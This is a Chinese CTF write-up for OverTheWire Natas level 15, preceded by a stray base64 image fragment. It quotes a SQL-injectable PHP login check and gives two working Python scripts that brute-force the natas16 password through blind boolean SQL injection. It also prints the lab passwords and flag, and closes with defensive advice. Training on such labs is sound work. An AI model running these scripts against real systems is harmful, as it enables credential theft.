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" alt="" />
sourcecode核心代码:
<? /*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/ if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
} $res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
22 echo "This user exists.<br>";
23 } else {
24 echo "This user doesn't exist.<br>";
25 }
26 } else {
27 echo "Error in query.<br>";
28 } mysql_close($link);
} else {
?> <form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
sql语句为:SELECT * from users where username="username";
可以注入,但注入成功后并不能实现什么功能。如果查询“成功”,仅仅会显示This user exists.查询失败:This user doesn't exist.或者“Error in query.”。不能直接显示Natas16的密钥。
联想到表中可能有名为Natas16的username,经测试为真。所以现在的任务就是获得表中Natas16的password。
如何才能将输出联系到password?这里仅有的输出只是用户名是否存在,更向上一步的说,是是否能够查询到记录。
既然select Natas16 是肯定成立的,又因为已知密钥的长度和空间(大小写字母和数字),可以通过and + like逐一探测每一位的密钥。
以下是python脚本:
import httplib2
from urllib.parse import urlencode h = httplib2.Http()
natas15password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
h.add_credentials('natas15', natas15password)
basestr = list(chr(i) for i in range(48, 58))+list(chr(i) for i in range(65, 91))+list(chr(i) for i in range(97, 123))
password = ''
index = 0
headers = {'Content-type': 'application/x-www-form-urlencoded'}
while (len(password) < len(natas15password)):
forms = dict(username= "natas16\"" + " and password like binary '" + password + basestr[index] + "%'" + " ;#")
print(forms)
resp, content = h.request('http://natas15.natas.labs.overthewire.org/index.php', 'POST', urlencode(forms), headers)
if ('exists' in str(content)):
password += basestr[index]
print(password)
index = 0
continue
else:
index = (index + 1) % (123-48)
if index == 0:
print('wrong!')
continue
print('password = ', password)
关于httplib2的说明:http://blog.csdn.net/five3/article/details/7079140
这里要注意几点:
1.urlencode已经不在urllib下了,需要使用urllib.parse.urlencode
2.mysql 查询默认对大小写不敏感,所以如果直接查寻会导致输出全部为大写或者小写。有两个解决方案。一个是使用BINARY将后面要查询的字符串转化为二进制。另 一个是使用COLLATE对指定排序。https://dev.mysql.com/doc/refman/5.7/en/binary- varbinary.html
3.POST也是先将数据进行URL编码然后发送,所以这里要用到URLencode。URL表参考:http://w3school.com.cn/tags/html_ref_urlencode.html
4.发送表单的话一定要把headers中的'Content-type': 'application/x-www-form-urlencoded'加上,因为服务器是通过这个判别body中的类型并进行读取的。(以后发现服务器没有读取body要先看看headers设置好没有)
另外还有一个思路,就是通过题目中留下的debug用GET进行注入与爆破:
import httplib2
from urllib.parse import urlencode h = httplib2.Http()
natas15password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
h.add_credentials('natas15', natas15password)
basestr = list(chr(i) for i in range(48, 58))+list(chr(i) for i in range(65, 91))+list(chr(i) for i in range(97, 123))
password = ''
index = 0
while (len(password) < len(natas15password)):
forms = dict(username="natas16\"" + " and password like binary '" + password + basestr[index] + "%'" + ";#")
resp, content = h.request('http://natas15.natas.labs.overthewire.org/index.php?debug=1&'+urlencode(forms), 'GET')
if ('exists' in str(content)):
password += basestr[index]
print(password)
index = 0
continue
else:
index = (index + 1) % (123-48)
if index == 0:
print('wrong!')
continue
print('password = ', password)
这个时候就不需要设置Content-type了
总结:这个注入和往常的注入不同,往常的注入是通过插入 or 1等唯真式绕过认证。但这里并不是要绕过认证,而是通过注入将password与返回“用户是否存在”这一看起来没有泄露的信息绑定,最终暴力破解出用户密钥。由此可知,对用户返回的信息应当最低化(如返回用户或密码错误),对用户的输入应该做处理(如转义)。debug的时候留下的接口应该及时删除。
flag=WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
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